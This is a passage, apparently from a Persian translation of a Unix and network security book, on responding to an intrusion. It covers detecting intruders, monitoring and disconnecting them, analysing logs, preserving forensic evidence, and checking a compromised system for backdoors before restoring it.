- مجرم را حین ارتکاب جرم بگیرید. مثلاً ممکن است ببینید که ابرکاربر از یک کافی‌نت در بوداپست وارد سیستم شده، درحالیکه شما تنها کسی هستید که قرار بوده رمز عبور ابرکاربر را بداند؛
- از اطلاعات دریافتی یا تغییراتی که در سیستم رخ داده تشخیص دهید که نفوذ اتفاق افتاده است. مثلاً یک نامهٔ الکترونیکی دریافت می‌کنید که در آن مهاجم شما را در مورد وجود یک حفرهٔ امنیتی دست می‌اندازد، یا با حسابهای کاربری جدیدی مواجه می‌شوید؛
- پیغامی از راهبر یک شبکهٔ دیگر دریافت می‌کنید که می‌گوید در شبکهٔ وی نشانهایی از فعالیتهای غیرعادی که از رایانه‌ای در شبکهٔ شما سرچشمه گرفته وجود دارد؛

- در سیستم اتفاقات غیرعادی می‌بینید، مثل کندی شدید شبکه، خراب‌شدنهای ناگهانی، فعالیت شدید دیسک سخت، راه‌اندازیهای مجدد بدون وجود هیچ دلیل قانع‌کننده، ناهمخوانیهای جزئی در محاسبات زمانهای اتصال کاربران، پاسخهای با تأخیر زیاد، و . . .

برنامه‌های متنوعی وجود دارند که می‌توانند فایلها و پردازه‌ها را برای کشف نفوذها بررسی کنند. این برنامه‌ها را هر از چندگاه بطور منظم و همچنین بصورت خارج از روال عادی اجرا کنید. به این ترتیب یک عنصر تصادفی بوجود آورده‌اید که مانع می‌شود مهاجمان بتوانند با استفاده از زمانبندی شما رد پای خود را بپوشانند. همین نکتهٔ ساده، یک اصل در اقدامات امنیتی است: همواره سعی کنید غیرقابل پیش‌بینی باشید.

بعد از آنکه مهاجم را شناسایی کردید

وقتی یک مهاجم را در سیستم خود کشف کردید، می‌توانید کارهای گوناگونی انجام دهید:

۱. می‌توانید تهاجم را نادیده بگیرید. در اینصورت ممکن است مهاجم هم سیستم شما را رها کند. اینکار معمولاً یک واکنش ضعیف محسوب می‌شود. چشمپوشی از وجود یک مهاجم در سیستم عملاً به معنی این است که به وی اجازه داده‌اید به شما، کاربران، و سایر افراد روی شبکه آسیب برساند. همچنین چنانچه مهاجم از طریق شبکهٔ شما به سازمان دیگری صدمه وارد کند، ممکن است از نظر قانونی در قبال آن مسئول شناخته شوید، چراکه شاید اگر می‌خواستید می‌توانستید جلوی او را بگیرید.

۲. می‌توانید سعی کنید با مهاجم ارتباط برقرار کنید و ببینید چه می‌خواهد. هنگام انجام اینکار بسیار مراقب باشید. بعضی از مهاجمان ذاتاً بدخواه هستند و از گرفتار شدن در دام قانون بسیار وحشت دارند، و لذا اگر با آنها تماس بگیرید ممکن است همه چیز روی رایانه شما را برای از بین بردن ردپای خود پاک کنند. سعی کنید مهاجم را قبل از برقراری تماس ردیابی نمایید و تمام تماسها را نیز مستند سازید.

۳. می‌توانید مهاجم را تحت نظر بگیرید. به این ترتیب می‌فهمید که قصد تغییر در پایگاه دادهٔ حسابهای کاربری شما را دارد، یا تنها نامه‌های کاربران را زیر و رو می‌کند. به هر حال به یاد داشته باشید که شما نمی‌دانید این مهاجم چه مدتی است که در سیستم شماست و آنچه تحت نظارت می‌گیرید، اتفاقاتی است که بعد از شناسایی او رخ می‌دهند.

اگر مهاجم از طریق یک اتصال شبکه وارد شده باشد می‌توانید با استفاده از یک نرم‌افزار نظارت بر بسته مثل TCP Dump، Ethereal یا Snoop، محتویات بسته‌های وی را به نمایش در آورید یا در یک فایل ذخیره کنید. اگر رایانهٔ شما به hub وصل باشد، یک رایانهٔ دیگر می‌تواند بدون ایجاد مزاحمت، تمام بسته‌ها را دریافت کند و مورد بررسی قرار دهد.

اگر مهاجم از طریق یک مودم یا پورت سریال که مستقیماً به رایانه متصل است وارد شده باشد نرم‌افزارهای متعدد دیگری برای نظارت بر وی وجود دارند، مثل ttywatch، conserver، rtty و ser2net. این برنامه‌ها به طور دقیق و بایت به بایت اطلاعات فرستاده شده روی یک یا چند پورت سریال را در اختیار شما قرار می‌دهند و در بسیاری موارد حتی می‌توانند بر pseudo-ttyها هم نظارت کنند. این قابلیت در مواقعی ارزشمند است که مهاجم با استفاده از پروتکلهای رمزگذاری مانند SSH و از طریق شبکه به سرویس‌دهندهٔ شما وصل شده باشد.

در برخی کشورها نظارت بر مهاجمان ممکن است غیرقانونی باشد، یا فقط درصورتی قانونی باشد که در پیامهایی از طرف شرکت خود صراحتاً به کاربران گفته باشید که ممکن است تحت نظارت قرار بگیرند.

۴. می‌توانید سعی کنید اتصالات را ردگیری و مهاجم را شناسایی کنید. اگر مهاجم با تلفن با شما تماس گرفته باشد، این مسئله به خدمات شرکت مخابرات طرف قرارداد شما ارتباط پیدا می‌کند؛ برخی شرکتهای مخابرات هویت تماس‌گیرنده یا رد وی را ارائه می‌دهند. اگر مهاجم از طریق شبکه وصل شده باشد، دستور who یا netstat سریعاً می‌تواند رایانهٔ سرچشمه این

اتصال را مشخص سازد. سپس می‌توانید با راهبر آن رایانه برای ردیابی بیشتر تماس بگیرید (البته حتماً با تلفن!)؛ اطلاعات تماس با راهبران سیستم معمولاً در اطلاعات whois نام دامنه یا در پایگاه وب سازمان وجود دارد. گزینهٔ دیگر استفاده از یک برنامهٔ ردگیری مسیر است (بسته به سیستم‌عامل مورد استفادهٔ شما نام برنامه ممکن است traceroute یا tracert باشد). اگر تمام این راهها با شکست مواجه شد، می‌توانید به کاربر root یا postmaster در رایانهٔ مبدأ یک نامهٔ الکترونیکی بفرستید و از آنها بخواهید با شما تماس بگیرند. در این نامهٔ الکترونیکی از نفوذ حرفی نزنید، چون ممکن است مهاجم این حسابهای کاربری را نیز تحت نظر داشته باشد.

۵. با خاتمهٔ پردازه، قطع مودم یا شبکه، و یا خاموش کردن رایانه، اتصال مهاجم را قطع کنید. قطع برق رایانه سریعترین روش برای بیرون انداختن یک مهاجم و جلوگیری از هر عمل دیگر – از جمله وارد آمدن خسارتهای بیشتر – می‌باشد؛ اما این عمل بسیار خشن است، چون علاوه بر اینکه جلوی مهاجم را می‌گیرد، کار تمام کاربران قانونی و مشروع را نیز دچار وقفه می‌کند. همچنین ممکن است مدارکی که روزی در دادگاه نیاز دارید (مانند پردازه‌های در حال اجرا) را از بین ببرد، و به خاطر تراواهایی که در قطعه‌برنامه‌های راه‌اندازی توسط مهاجم قرارداده شده، در زمان راه‌اندازیِ مجدد، صدماتی به سیستم وارد آورد. بعلاوه بسیاری از سیستمهای فایل ممکن است نتوانند قطع ناگهانی برق را تحمل کنند و درنتیجه کشیدن دوشاخه صدماتی بیش از آنچه که مهاجم می‌توانسته به آنها وارد آورد.

روی سیستمهای Unix با استفاده از دستور ps می‌توانید فهرست پردازه‌های مهاجم را پیدا کنید و پس از اینکه رمز عبور حساب کاربری مورد استفادهٔ او را شناسایی و تعویض کردید، با دستور kill آن پردازه‌ها را خاتمه دهید. در سیستمهای Windows، Task Manager همین کار را انجام می‌دهد.

اگر مهاجم از طریق شبکه وصل شده باشد می‌توانید با برنامه‌ریزی دیوارهٔ آتش خود برای دور ریختن بسته‌هایی که از میزبان او آمده، یا کلاً با کشیدن کابل شبکه اتصال وی را قطع کنید. اگر مهاجم از طریق خطوط تلفنی شمارهٔ شما را گرفته باشد می‌توانید مودم را خاموش کنید یا سیم آنرا از پشت رایانه بیرون بکشید.

۶. با ISP خود، یک تیم واکنش به رخداد، یا یک مسئول اجرای قانون تماس بگیرید و وقوع حمله را به اطلاع آنان برسانید.

بعد از حمله

ادامهٔ مطالب این فصل اختصاص به این دارد که کارهای انجام‌شده توسط مهاجم چگونه باید ترمیم و تمیزکاری شوند.

فایلهای ثبت را تحلیل کنید

اگر حتی مهاجم را حین ارتکاب جرم نگرفتید، باز هم با بررسی منظم ثبتهای سیستم، احتمال زیادی برای موفقیت در ردیابی مهاجم دارید. بدنبال ثبتهای غیرعادی بگردید؛ مثلاً:

- ورود کاربران به سیستم در ساعات غیرعادی؛
- راه‌اندازیهای مجدد رایانه‌ها بطور غیرمنتظره؛
- تغییرات در ساعت سیستم بدون هیچ توجیه خاص؛
- پیغامهای نامعمول خطا از daemonهای Mailer، FTP، یا سایر سرویس‌دهنده‌های شبکه‌ای؛
- تلاشهای ورود ناموفق با رمزهای عبور نادرست؛
- استفادهٔ غیرمجاز یا مشکوک از دستور su؛ و
- ورود کاربران به شبکه از پایگاههای ناآشنا.

از طرف دیگر اگر مهاجم به اندازهٔ کافی ماهر باشد و دسترسی ابرکاربر به ماشین شما پیدا کند، معمولاً تمام نشانه‌های ورود خود را پاک می‌کند. بنابراین به صرف اینکه در فایلهای ثبت هیچ نشانی از نفوذ وجود ندارد نمی‌توانید نتیجه بگیرید که سیستم شما مورد حمله قرار نگرفته است.

بسیاری از مهاجمان در کار خود ظرافت ندارند و به جای اینکه تنها سوابق حملهٔ خود را از فایل ثبت حذف کنند، کل فایل ثبت را حذف یا تخریب می‌نمایند. این بدان معناست که اگر مشاهده کردید که فایل ثبت حذف یا اطلاعات آن خراب شده است، این امکان وجود دارد که رایانهٔ شما با موفقیت مورد حمله قرار گرفته باشد. اما این تنها نتیجه‌گیری ممکن نیست. فقدان یا خرابی ثبتها ممکن است به دلیل بی‌دقتی یکی از راهبران سیستم اتفاق بیافتد، یا حتی ممکن است یک برنامهٔ مشروع برای حذف ثبتها در فواصل معین – برای جلوگیری از اشغال فضای زیادی از دیسک – وجود داشته باشد.

همچنین می‌توانید از بروز تغییرات غیرمجاز در برنامه‌های سیستمی یا فایلهای یک کاربر خاص، به مورد حمله قرار گرفتن سیستم خود پی ببرید. این یک دلیل قانع‌کنندهٔ دیگر برای استفاده از ابزارهای بررسی یکپارچگی و صحت فایلها بمنظور نظارت بر تغییرات آنها می‌باشد.

اگر سیستم بصورت چاپی نیز ثبتهایی انجام می‌دهد، بهتر است اول نگاهی به آنها بیاندازید، چون مطمئن هستید مهاجمانی که از طریق شبکه یا تلفن نفوذ می‌کنند نمی‌توانند آنها را بصورت مخفیانه تغییر دهند. (البته به شرطی که چاپ ثبتها بصورت بلادرنگ انجام شود.)

حفظ مدارک

اگر می‌خواهید مهاجمان را تحت پیگرد قرار دهید (البته اگر آنها را پیدا کرده باشید)، نیاز به مدارکی دالّ بر وقوع جرم دارید. حتی اگر قصد انجام هیچگونه اقدام قانونی ندارید، جمع‌آوری مدارک می‌تواند به شما در بازسازی آنچه که اتفاق افتاده کمک کند.

روشهای زیادی برای جمع‌آوری مدارک وجود دارد. ذیلاً چند روش که به نظر مفید می‌آیند را می‌خوانید.

۱. داده‌های موجود در حافظهٔ سیستم را جمع‌آوری کنید. در Unix اینکار با دستور dd انجام می‌شود:

```
# dd bs=1024 « /dev/mem » mem.image
# dd bs=1024 « /dev/kmem » kmem.image
```

۲. یک نسخهٔ کامل از دیسکهای سخت خود بگیرید. حالا دیسکهای اصلی را بردارید و آنها را در جای امنی قرار دهید، و روی یک ماشین دیگر با نسخه‌های ثانویه کار کنید. اگر رایانهٔ شما از سیستم فایل /proc استفاده می‌کند، نسخهٔ دوم آن ممکن است بسیار به کار بیاید.

۳. یک نسخه از فایلهای کلیدی که از مهاجم به جا مانده یا تغییر داده شده است را بایگانی کنید و از این بایگانی در چندین رایانه نسخه‌برداری نمایید.

۴. فایلهای تغییریافته را روی دیسک فشرده یا دیسک نوری بنویسید.

۵. دستور "arp –a" یا "arp –v" را اجرا کنید تا محتویات جدول ARP – که می‌تواند بیانگر اتصالات اخیر شبکه‌ای باشد – را پیش روی خود داشته باشید.

۶. اگر ظاهر پایگاه وب شما تخریب شده، آن صفحات HTML را روی دیسک سخت خود ذخیره نمایید. از یک ابزار تصویربرداری از صفحهٔ نمایش استفاده کنید تا بتوانید نسخه‌ای از نحوهٔ نمایش آن صفحات روی نمایشگر را ذخیره سازید.

۷. از تصاویری که حالت جاری سیستم دستکاری‌شده را بازگو می‌کنند نسخه‌برداری کنید. در برنامهٔ X Window از xwd و در Microsoft Windows از کلید Print Screen برای این منظور استفاده می‌شود.

۸. خلاصه‌پیام MD5 مربوط به هر تصویر یا فایلی که بازیابی می‌کنید را بدست آورید. این MD5 را روی کاغذ چاپ کنید، امضا نمایید، تاریخ بزنید، و آنرا در کتابچهٔ ثبت وقایع خود قرار دهید. بعدها می‌توانید از این MD5 برای اطمینان از تغییر نیافتن مدارک استفاده کنید.

یکسری محصولات تجاری وجود دارند که برای جمع‌آوری مدارک مفید هستند، مانند برنامه‌های *نسخه‌برداری سرعت بالا از دیسک*[۳۴۲]، و *ابزارهای تحلیل قانونی شبکه‌ای* (NFATs)[۳۴۳] که تمام بسته‌های ورودی و خروجی سازمان را بایگانی می‌کنند.

اگر مسؤولان اجرای قانون را وارد ماجرا کرده‌اید، پیش از اینکه سرخود شروع به جمع‌آوری مدارک کنید، با آنها مشورت نمایید.

تمیزکاری بعد از تهاجم

اگر مهاجم به دسترسیهای ابرکاربر یا راهبر سیستم یا حساب کاربری دیگری با امتیازات دسترسی سطح بالا رسیده باشد، ممکن است سیستم را طوری تغییر داده باشد که در آینده راحت‌تر بتواند به سیستم وارد شود. اگر مهاجم یک برنامهٔ گردآوری‌کنندهٔ رمز عبور نصب کرده باشد یا فایلهای رمزهای عبور را دزدیده باشد، تا وقتی که تمام رمزهای عبور قسمتهای مختلف سیستم خود را عوض نکنید، علیرغم هر عمل پیشگیرانهٔ دیگری که انجام دهید باز هم نسبت به سوء استفادهٔ مهاجم از یک حساب کاربری مجاز آسیب‌پذیر خواهید بود. در اینصورت در این موضوع که باید تمام رمزهای عبور سیستم را تغییر دهید شک نکنید!

بعد از وقوع یک نفوذ موفق باید یک ممیزی دقیق انجام دهید تا وسعت خسارتها را ارزیابی نمایید. بسته به نوع نفوذ، مجبور هستید تمام سیستم خود را وارسی کنید. ممکن است مجبور شوید سایر سیستمهای روی شبکه محلی خود و یا حتی تمام شبکه (از جمله مسیریابها و سایر وسایل شبکه‌ای) را نیز تحت بررسی قرار دهید.

مهاجم ممکن است یک سیستم را به طرق مختلفی دستکاری کند که کشف آنها دشوار یا غیرممکن باشد. مطمئنترین راه این است که سیستم‌عامل خود را از ابتدا نصب و تمام وصله‌های امنیتی آنرا اعمال نمایید، برنامه‌های کاربردی را نیز به همراه وصله‌هایشان مجدداً نصب کنید، و سپس به دقت فایلهای کاربران را از روی پشتیبانها یا درصورت لزوم از روی دیسکهای دستکاری‌شده بازیابی نمایید. در ممیزی خود باید بدنبال اتفاقات غیرمعمول که هنگام نفوذ رایج می‌شوند باشید؛ مثل:

حسابهای جدید

بعد از یک نفوذ، بدنبال حسابهای جدید بگردید و هر حسابی که توسط مهاجم ایجاد شده است را پاک کنید. ممکن است بخواهید قبل از پاک کردن، سابقه‌ای کاغذی از این حسابها داشته باشید تا بتوانید مهاجم را تحت پیگرد قرار دهید. (البته اگر بتوانید او را پیدا کنید.)

تغییرات در محتویات یا مجوزهای فایلها

مهاجمی که امتیازات دسترسی بالایی بدست آورد می‌تواند هر فایلی روی سیستم را تغییر دهد. هرچند باید تمام سیستم فایل خود را بطور کامل بررسی کنید، ولی بیشتر بدنبال تغییراتی باشید که روی امنیت تأثیرگذار هستند. برای مثال ممکن است مهاجم دربهای مخفی یا بمبهای منطقی کار گذاشته باشد تا در آینده بتواند صدماتی را به سیستم وارد آورد. یک نسخهٔ سالم از یک نرم‌افزار بررسی‌کننده یکپارچگی و صحت فایلها و یک پشتیبان سالم از پایگاه دادهٔ آن در این مواقع می‌تواند بسیار ارزشمند باشد.

فایلهای SUID و SGID جدید

مهاجمانی که دسترسی ابرکاربر بدست می‌آورند غالباً فایلهای SUID و SGID جدیدی ایجاد می‌کنند (البته اگر انجام اینکار در سیستم تعریف شده باشد). بعد از یک نفوذ، در سیستم خود جستجو کنید تا مطمئن شوید فایلهای SUID جدیدی ایجاد نشده باشند.

342 *High Speed Disk Duplicator*
343 *Network Forensics Analysis Tools*

دستکاری فایلهای دسترسی شبکه

ممکن است مهاجم این فایلها را ایجاد کند یا فایلهای موجود را به نحوی تغییر دهد که در آینده همچنان به سیستم دسترسی راه دور داشته باشد. بعنوان مثال مهاجم تحت Unix می‌تواند فایلهای rhosts. یا ssh/authorized_keys. جدیدی در شاخهٔ home کاربران ایجاد کند، و یا رایانه‌هایی را در سطح سیستمی به فایل /etc/hosts.equiv اضافه نماید. تمام این فایلها را بررسی کنید و از سایر کاربران هم بخواهید حتماً اینکار را انجام دهند.

دستکاری فایلهای راه‌اندازی

مهاجم ممکن است محتویات فایلهای راه‌اندازی کاربران یا کل سیستم و یا فایلهایی که در زمانهای برنامه‌ریزی‌شده یا در اثر برخی رویدادها بطور خودکار اجرا می‌شوند (مثل ارسال خودکار نامه الکترونیکی) را تغییر داده باشد. تمام این فایلها باید به دقت بررسی شوند.

دستکاری فایلهای پیکربندی

هر سرویسی که تحت حساب کاربری یک کاربر مجاز اجرا می‌شود و از یک فایل پیکربندی استفاده می‌کند، نسبت به دستکاری این فایل آسیب‌پذیر است. Windows Registry در رأس فایلهای پیکربندی آسیب‌پذیر قرار دارد. تمام فایلهای پیکربندی سرویها باید با استفاده از نسخه‌های سالم یا امضاهای رمزگذاری‌شده بررسی شوند.

فایلها و شاخه‌های مخفی

مهاجم ممکن است یک شاخهٔ مخفی در رایانهٔ شما ایجاد کرده باشد و از آن رایانه بعنوان مخزنی برای اطلاعات دزدیده‌شده یا برنامه‌هایی که امنیت را خدشه‌دار می‌کنند استفاده نماید.

مهاجمان معمولاً برای پنهان کردن فایلهای خود در یک شاخه، از نامی استفاده می‌کنند که به سختی بتوان آنرا کشف یا در خط فرمان وارد کرد. بدین ترتیب یک راهبر مبتدی سیستم که آن شاخه را کشف کند احتمالاً نمی‌تواند بفهمد درون آن چیست. نامهای فایلی که به سختی می‌توان آنها را کشف یا وارد کرد معمولاً حاوی رشته کاراکترهایی چون " .." (نقطه نقطه فاصله) و یا مشابه آن، کاراکترهای کنترلی، backspace، یا سایر کاراکترهای خاص هستند. برخی کاراکترهای این قبیل نامها را می‌توان به unicode وارد کرد و نمایش آنها هم همانند کاراکترهای الفبایی معمولی است، اما راهی برای وارد کردن معمولی آنها با استفاده از صفحه‌کلید وجود ندارد. روش برخی دیگر از مهاجمان نیز استفاده از نامهایی برای فایلها و شاخه‌ها است که گویی جزئی مهم از سیستم‌عامل هستند و نباید با آنها بازی کرد. (سیستمهای فایلی که صفت "system" برای شاخه‌ها دارند معمولاً در این حقه گرفتار می‌شوند و قدرت مانور کاربران و راهبران سیستم را در این شاخه‌ها محدود می‌کنند.)

فایلهای بدون مالک

گاهی اوقات، مهاجمان فایلهایی را در سیستم باقی می‌گذارند که مربوط به هیچ کاربر یا گروهی نیستند. این مسئله می‌تواند وقتی اتفاق بیافتد که مهاجم یک حساب کاربری و چند فایل ایجاد می‌کند، حساب کاربری را پاک می‌نماید، ولی فایلهای مربوط به آنرا باقی می‌گذارد. یک احتمال دیگر می‌تواند این باشد که مهاجم داده‌های خام روی دیسک را مستقیماً (و نه از طریق سیستم فایل) تغییر داده و یک UID را به اشتباه عوض کرده است.

خدمات شبکه‌ای جدید

بسیاری از مهاجمان (و قطعه‌برنامه‌های تهاجمی) تعدادی daemon شبکه‌ای نصب می‌کنند تا در آینده از طریق یک درب مخفی به میزبان دستکاری‌شده دسترسی داشته باشند و یا از آن برای هدایت میزبان در حمله به میزبانهای دیگر (بعنوان یک zombie) استفاده کنند. هرچند وجود این خدمات جدید را گاهی می‌توان از خروجی دستورات سیستمی میزبان دستکاری‌شده پیدا کرد، اما خود این دستورات نیز غالباً دستکاری می‌شوند تا خروجی صحیحی تولید نکنند. ممکن است بتوانید وجود daemonهای جدید را با استفاده

از nmap یا پویشگر پورت دیگری از یک ماشین دستکاری‌نشده روی همان شبکه دریابید. (البته از نظر امنیتی بهتر است هنگامیکه ماشین دستکاری‌شده تحت بررسی قرار دارد، ارتباط آن با شبکه قطع باشد.)

همچنین ممکن است لازم باشد تمام سیستم فایل را وارسی کنید تا ببینید به چه فایلها و شاخه‌هایی در حول و حوش زمان حمله دسترسی پیدا شده است. انجام اینکار ممکن است به شما سرنخهایی از اینکه چه اتفاقی افتاده بدهد. برای نمونه اگر کامپایلر، *بارکننده*[۳۴۴] و کتابخانه‌ها زمانهای دسترسی نزدیکی داشته باشند، می‌توان نتیجه گرفت که احتمالاً مهاجم یک قطعه‌برنامه را کامپایل کرده است.

اگر فایلی را باز کنید تا در آن به دنبال تغییرات بگردید، زمان آخرین دسترسی‌اش عوض می‌شود و دیگر نخواهید توانست الگوهای دسترسی را متوجه شوید. به همین دلیل توصیه می‌کنیم که تحقیقات خود را روی یک نسخه از دیسک که بصورت فقط خواندنی mount شده انجام دهید. اگر برای تهیهٔ نسخهٔ دوم سخت‌افزار مناسب در اختیار ندارید، می‌توانید از این قابلیت استفاده کنید که اغلب سیستمها اجازه می‌دهند که partitionهای درحال استفادهٔ سیستم فایل را مجدداً بصورت فقط‌خواندنی mount کنید (احتمالاً از طریق یک واسط کاربری بازگشتی). تحقیقات خود را از این طریق انجام دهید، اما به یاد داشته باشید که با این تنظیمات هم اجرای دستورات باعث خواهد شد که آخرین زمان دسترسی فایلها و تمام کتابخانه‌های مشترک و فایلهای پیکربندی تغییر یابند (مگر اینکه همه partitionها را مجدداً mount کرده باشید!). درنتیجه بهترین کاری که می‌توانید انجام دهید این است که دیسکها را روی یک سیستم دیگر بصورت فقط‌خواندنی mount کنید و بررسیهای خود را در آنجا انجام دهید.

به هیچ چیز جز نسخهٔ چاپی اعتماد نکنید

اگر سیستم شما دستکاری شده است به هیچ چیزی روی دیسکهای آن نمی‌توان اعتماد کرد. اگر تغییرات مشکوکی در فایلهای رایانهٔ خود مشاهده کردید هیچکدام از گفته‌های سیستم خود را باور نکنید، چون یک نفوذگر خوب ممکن است همه چیز رایانه را تغییر داده باشد. مهاجم ممکن است نسخه‌های جدیدی از برنامه‌های سیستمی را کامپایل و آنها را بگونه‌ای نصب کرده باشد که علیرغم تغییرات گسترده، ابزارهای استاندارد شما آنها را گزارش ندهند. مهاجم می‌تواند روی هستهٔ سیستم‌عامل رایانه وصله‌ای اعمال کند که مکانیزمهای امنیتی شما را غیرفعال نماید. مهاجم همچنین می‌تواند دیسک را بصورت خام برای خواندن یا نوشتن مستقیم (بدون دخالت سیستم فایل) باز کند. جالب آنکه انجام همهٔ اینکارها معمولاً به مهارت خاصی نیاز ندارد، چراکه مهاجم براحتی می‌تواند از rootkitهایی که توسط افراد با مهارت تهیه شده‌اند استفاده نماید.

تنها محدودیت در قدرت مهاجمی که به وضعیت ابرکاربر درآمده این است که نمی‌تواند چیزهایی که روی کاغذ چاپ شده را تغییر دهد، چراکه به آن دسترسی ندارد. به همین دلیل اگر امکانات ثبتی در اختیار دارید که هنگام تغییریافتن تاریخِ سیستم، عملیات ثبت را انجام می‌دهد، ثبتها را به یک پایانهٔ چاپگر یا رایانه‌ای دیگر منتقل کنید و سپس آنها را بطور منظم بررسی نمایید.

برای اینکه خود را بیشتر محافظت کرده باشید باید یک نسخهٔ قابل راه‌اندازی از سیستم‌عامل خود روی یک دیسک نوری یا دیسک فشرده یا یک وسیلهٔ ذخیره‌سازی قابل حمل دیگر داشته باشید. در اینصورت امکان راه‌اندازی و وارسی سیستم خود به کمک ابزارهایی که از سلامت آنها اطمینان دارید را بوجود آورده‌اید. با در اختیار داشتن یک پایگاه داده از خلاصه‌های رمزنگاری فایلهای دست‌نخورده[۳۴۵] قادر خواهید بود تغییرات فایلهای مهم سیستم خود را تشخیص دهید؛ به شرطی که خلاصه‌ها از روی نسخه‌های دستکاری‌نشدهٔ نرم‌افزارها تولید شده باشند. به یاد داشته باشید که لزوماً نمی‌توانید به پشتیبانهای خود اعتماد کنید، چون نمی‌دانید نفوذ از چه زمانی شروع شده است، اما برای مقابلهٔ نسبی با این نگرانی می‌توانید از رسانه‌های پشتیبان‌گیری توزیع‌شده استفاده نمایید.

۳۴۵ *برای این منظور می‌توانید از tripwire استفاده کنید یا یک نرم‌افزار اختصاصی خودتان را تهیه نمایید.*

قدم بعدی این است که یک نسخهٔ چاپی از تمام ثبتهای لازمی که در دسترس دارید تهیه کنید (مثلاً ثبتهای رایانه و شبکه)، و آنها را بررسی نمایید تا بفهمید نفوذگر چه کارهای غیرمجازی انجام داده است. همچنین باید بفهمید که آیا از زمان ورود نفوذگر، در سیستم اتفاق غیرعادی رخ داده یا خیر. این ثبتها می‌توانند در فهم اینکه نفوذگر چه برنامه‌هایی اجرا کرده و چه اعمالی انجام داده است به شما کمک کنند. فراموش نکنید که برگه‌های چاپی را حتماً یک به یک تاریخ و امضا بزنید.

به خاطر داشته باشید که زمان کشف یک نفوذ لزوماً زمان شروع آن نیست. در یک مورد نمونه، مدارک نشان دادند که نفوذ واقعی از دو سال قبل از کشف شدن شروع شده بود! طبیعی است که بعد از این مدت هیچ پشتیبان و نرم‌افزار قابل اعتمادی روی سیستم وجود نداشت. در واقع نفوذگران در طول این مدت تغییرات زیادی در سیستم می‌دادند؛ از جمله نصب وصله‌ها و ارتقاها! در این مورد می‌توان گفت نفوذگران کار راهبری را بهتر از مسئول یا مسئولین آن انجام می‌دادند!

شروع مجدد کار

گام بعدی در رسیدگی به یک نفوذ، بازگرداندن سیستم به حالت کاری است. اینکه با چه سرعتی باید کار را آغاز کنید، و در دراز مدت قصد دارید چه کاری در مورد این نفوذ انجام دهید، تعیین‌کنندهٔ زمان و چگونگی انجام‌شدن این گام هستند.

حداقل کاری که باید انجام شود این است که اطمینان حاصل کنید تمام صدمات وارده را ترمیم کرده و آن نقایصی که به مهاجم اجازهٔ ورود داده‌اند را از بین برده‌اید. پس از آن چنانچه بدرستی پشتیبان گرفته باشید می‌توانید سیستم را به حالت کاری بازگردانید.

تشخیص اینکه چه چیزی باعث شده مهاجم اجازه ورود پیدا کند مشکل است، چراکه در ثبتها داده‌های ناچیزی وجود دارد که نشاندهندهٔ ماوقع باشند و ابزار توانمندی نیز در دست نیست که با استفاده از آن بتوان نفوذ را مهندسی معکوس کرد. بنظر می‌رسد بیشتر نفوذها نتیجهٔ اشکالات نرم‌افزارها و در موارد کمتری رمزهای عبور مسروقهٔ کاربران باشند. (حتماً امکان دزدیده‌شدن رمزهای عبور را در نظر داشته باشید، خصوصاً اگر می‌بینید نفوذگران روی سیستم شما دیده‌بان ترافیک نصب کرده‌اند.)

اگر نفوذ از یک اشکال ناشی شود ممکن است کشف آن برای شما دشوار باشد، بخصوص اگر اشکال جدیدی باشد که هنوز بطور گسترده مورد بهره‌برداری قرار نگرفته است. در این مورد چند پیشنهاد داریم:

۱. اگر ترافیک شبکهٔ خود را ذخیره کرده‌اید، با سیستم تحلیل خود آنرا وارسی کنید تا ببینید آیا هیچ قسمت آن نامأنوس و یا غیرقابل توجیه است یا خیر؛

۲. در فایلهای ثبت خود بدنبال موارد غیرعادی، الگوهای فعالیتی غیرمعمول، یا مدارکی دال بر خراب شدن برنامه‌ها بگردید؛ و

۳. اگر آدرس IP خاصی را که مهاجم بعنوان مبدأ حمله بکار برده می‌دانید، در تمام فایلهای ثبت خود بدنبال یافتن سوابق آن آدرس باشید.

اگر مشکوک به این هستید که اشکالی در یک نرم‌افزار سیستمی باعث نفوذ شده می‌توانید برای مشورت با تولیدکنندهٔ آن تماس بگیرید؛ چراکه آنها معمولاً راه‌حلی برای مشکلهای رایج دارند. در بسیاری موارد اگر قرارداد شما با فروشندگان شامل پشتیبانی پس از فروش هم بشود و یا شما یک مشتری عمدهٔ آنها باشید می‌توانید از قبل به نتیجه‌بخش بودن این تماس امیدوار باشید.

می‌توانید نگاهی نیز به مطالب جدید پایگاههای وب و فهرستهای پستی گروههای امنیتی بیاندازید. معمولاً آسیب‌پذیریهای جدید در این مکانها با جزئیات زیادی مورد بحث قرار می‌گیرند. در برخی موارد نیز پیش می‌آید که اطلاعات درون این پایگاهها اشتباه یا خطرناک هستند؛ و بنابراین بسیار مراقب آنچه که می‌خوانید باشید.

در نهایت ممکن است بخواهید با یک تیم خوب FIRST تماس بگیرید. تیمهای FIRST معمولاً دید خوبی نسبت به نفوذهای جدید دارند، که دلیل عمدهٔ آن گزارشهای زیاد دریافتی آنها است. در تماس بودن با نمایندهٔ یکی از این تیمها می‌تواند نتایج خوبی به همراه داشته باشد و در مورد اینکه چه چیزهایی را باید قبل از بازگرداندن سیستم به کار وارسی کنید برای شما راهنماییهای

ارزنده‌ای به ارمغان آورد. با این وجود بعضی تیمها قوانینی دارند که طبق آن نمی‌توانند صراحتاً اطلاعات زیادی در مورد آسیب‌پذیریهای روز در اختیار کسی قرار دهند تا به تولیدکنندهٔ مربوطه این فرصت را داده باشند که اصلاح مربوط به آنرا منتشر کند. درنتیجه این احتمال وجود دارد که نتوانید اطلاعات کاملی از این منابع بدست آورید.

کنترل خسارتها

اگر سیستم خود را ترمیم کرده‌اید، بررسی کنید و ببینید چه خسارتهای دیگری وجود دارند که باید آنها را کنترل کنید. در درجهٔ اول باید به سراغ تأثیرات بعدی یک نفوذ رفت و هرگونه عواقب تبهکارانهٔ نفوذ را در نظر گرفت. برای مثال آیا در جریان نفوذ از اطلاعات خصوصی نسخه‌برداری شده است؟ اگر آری، باید با مشاور رسمی خود مشورت کنید و تصمیم بگیرید که در این مرحله می‌خواهید چه کاری انجام دهید.

باید تعیین کنید کدام یک از نگرانیهای زیر را باید بیشتر مورد توجه قرار دهید و در مورد هریک می‌خواهید چه کاری انجام دهید:

۱. آیا نیاز به تشکیل یک پروندهٔ رسمی در دوایر اجرای قانون، یک دفتر حقوقی، یک شرکت بیمه، یا نزد تولیدکنندگان و فروشندگان محصولات مورد استفادهٔ خود دارید؟
۲. آیا باید یک یا چند کارمند سازمان خود را اخراج کنید یا در مورد آنها قوانین انضباطی اعمال کنید؟ آیا برای جلوگیری از وقوع رخدادهای اینچنینی در آینده باید کارمندان خود را تحت آموزش قرار دهید؟
